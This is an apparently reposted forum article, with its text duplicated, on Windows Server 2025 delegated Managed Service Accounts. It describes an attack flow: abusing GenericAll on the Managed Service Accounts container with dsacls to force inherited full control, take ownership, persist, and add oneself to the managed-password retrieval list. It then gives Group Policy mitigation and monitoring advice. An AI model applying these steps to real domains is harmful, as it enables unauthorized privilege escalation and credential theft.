stihl не предоставил(а) никакой дополнительной информации.
Delegated Managed Service Accounts (dMSAs), introduced in Windows Server 2025, provide a more secure alternative to traditional service accounts by binding authentication to specific machine identities. Unlike standard service accounts, dMSAs automate password management, support multiple servers, and prevent credential harvesting attacks like Kerberoasting. The secrets used for authentication are derived from the machine account credential, encrypted by the Domain Controller (DC), and never stored locally, making them highly resistant to compromise.
During migration, dMSAs supersede existing service accounts while maintaining access to all previously authorized resources, effectively blocking authentication using old credentials. Additionally, Credential Guard (CG) enhances security by protecting stored keys from theft, ensuring that only authorized devices mapped in Active Directory can use the dMSA. This approach significantly reduces the attack surface and simplifies identity management, making dMSAs an essential security enhancement for modern Active Directory environments.
Service Account overview:
Service accounts are dedicated accounts used to run services and applications in Windows environments. Traditional service accounts often require manual password management, increasing the risk of credential leaks, misuse, and security misconfigurations. They typically use static passwords, making them a prime target for credential-based attacks like Kerberoasting and Pass-the-Hash.
Also, there is Managed Service Accounts (MSAs), introduced in Windows Server 2008 R2 and Windows 7, function as domain accounts with automatic password rotation every 30 days.
To further mitigate the risks discussed, Group Managed Service Accounts (gMSAs) were introduced in Windows Server 2012 as an enhancement over standard service accounts. gMSAs provide automatic password rotation, eliminating the need for manual credential updates, and support multiple servers for distributed workloads. Unlike traditional service accounts, gMSAs securely store passwords in Active Directory, allowing only authorized machines to retrieve them via Kerberos.
Attack Flow:
Let’s take a scenario where we have a “Generic All” permission on the “Managed Service Accounts” container.
By Default, users can enumerate the container but not its child objects.
We can use the following command to validate that we have “Generic All” permissions on the container:
We can also check the permissions using “Active Directory Users and Computers”:
Change the inheritance level
Even though we have Full Control on the container, that doesn’t guarantee read access to existing child objects unless permission inheritance is pushed. we might only see a “stub” object with no readable attributes.
ACL inheritance in AD works based on a parent-child relationship. The Managed Service Accounts (MSA) container acts as a parent object, while each individual MSA (e.g., dMSA-POC) is a child object.
To force inheritance of our Full Control down to child objects we can run:
We can once again use dsacl to ensure that we have full control on the child objects in the container:
After gaining full control on the child objects, we have full visibility on the objects in the container.
Also, we can gain full ownership on dMSA objects (by default the “domain admins” group is the owner):
We can achieve persistence by creating another dMSA that we have full control over, also we can add ourselves as entities that are eligible to receive the managed password by adding our user or machine account to the PrincipalAllowedToRetrieveManagedPassword.
Mitigation:
First enable the following setting that is only available for Windows 11 24H2 and Windows Server 2025 or later versions.
On the client devices, you must activate the following Group Policy setting:
Computer Configuration\Administrative Templates\System\Kerberos\Enable Delegated Managed Service Account logons
For monitoring, the following event describes access to the object with “Write” permissions:
Для просмотра ссылки Войдиили Зарегистрируйся
During migration, dMSAs supersede existing service accounts while maintaining access to all previously authorized resources, effectively blocking authentication using old credentials. Additionally, Credential Guard (CG) enhances security by protecting stored keys from theft, ensuring that only authorized devices mapped in Active Directory can use the dMSA. This approach significantly reduces the attack surface and simplifies identity management, making dMSAs an essential security enhancement for modern Active Directory environments.
Service Account overview:
Service accounts are dedicated accounts used to run services and applications in Windows environments. Traditional service accounts often require manual password management, increasing the risk of credential leaks, misuse, and security misconfigurations. They typically use static passwords, making them a prime target for credential-based attacks like Kerberoasting and Pass-the-Hash.
Also, there is Managed Service Accounts (MSAs), introduced in Windows Server 2008 R2 and Windows 7, function as domain accounts with automatic password rotation every 30 days.
To further mitigate the risks discussed, Group Managed Service Accounts (gMSAs) were introduced in Windows Server 2012 as an enhancement over standard service accounts. gMSAs provide automatic password rotation, eliminating the need for manual credential updates, and support multiple servers for distributed workloads. Unlike traditional service accounts, gMSAs securely store passwords in Active Directory, allowing only authorized machines to retrieve them via Kerberos.
Attack Flow:
Let’s take a scenario where we have a “Generic All” permission on the “Managed Service Accounts” container.
By Default, users can enumerate the container but not its child objects.
We can use the following command to validate that we have “Generic All” permissions on the container:
Код:
dsacls "CN=Managed Service Accounts,DC=kingdom,DC=local"We can also check the permissions using “Active Directory Users and Computers”:
Change the inheritance level
Even though we have Full Control on the container, that doesn’t guarantee read access to existing child objects unless permission inheritance is pushed. we might only see a “stub” object with no readable attributes.
ACL inheritance in AD works based on a parent-child relationship. The Managed Service Accounts (MSA) container acts as a parent object, while each individual MSA (e.g., dMSA-POC) is a child object.
To force inheritance of our Full Control down to child objects we can run:
Код:
dsacls "CN=Managed Service Accounts,DC=kingdom,DC=local" /G "KINGDOM\poc:GA" /T /I:S
(:GA = Full Control, /T = recursive, /I:S = inherit to sub-tree.)We can once again use dsacl to ensure that we have full control on the child objects in the container:
After gaining full control on the child objects, we have full visibility on the objects in the container.
Also, we can gain full ownership on dMSA objects (by default the “domain admins” group is the owner):
We can achieve persistence by creating another dMSA that we have full control over, also we can add ourselves as entities that are eligible to receive the managed password by adding our user or machine account to the PrincipalAllowedToRetrieveManagedPassword.
Mitigation:
First enable the following setting that is only available for Windows 11 24H2 and Windows Server 2025 or later versions.
On the client devices, you must activate the following Group Policy setting:
Computer Configuration\Administrative Templates\System\Kerberos\Enable Delegated Managed Service Account logons
For monitoring, the following event describes access to the object with “Write” permissions:
Для просмотра ссылки Войди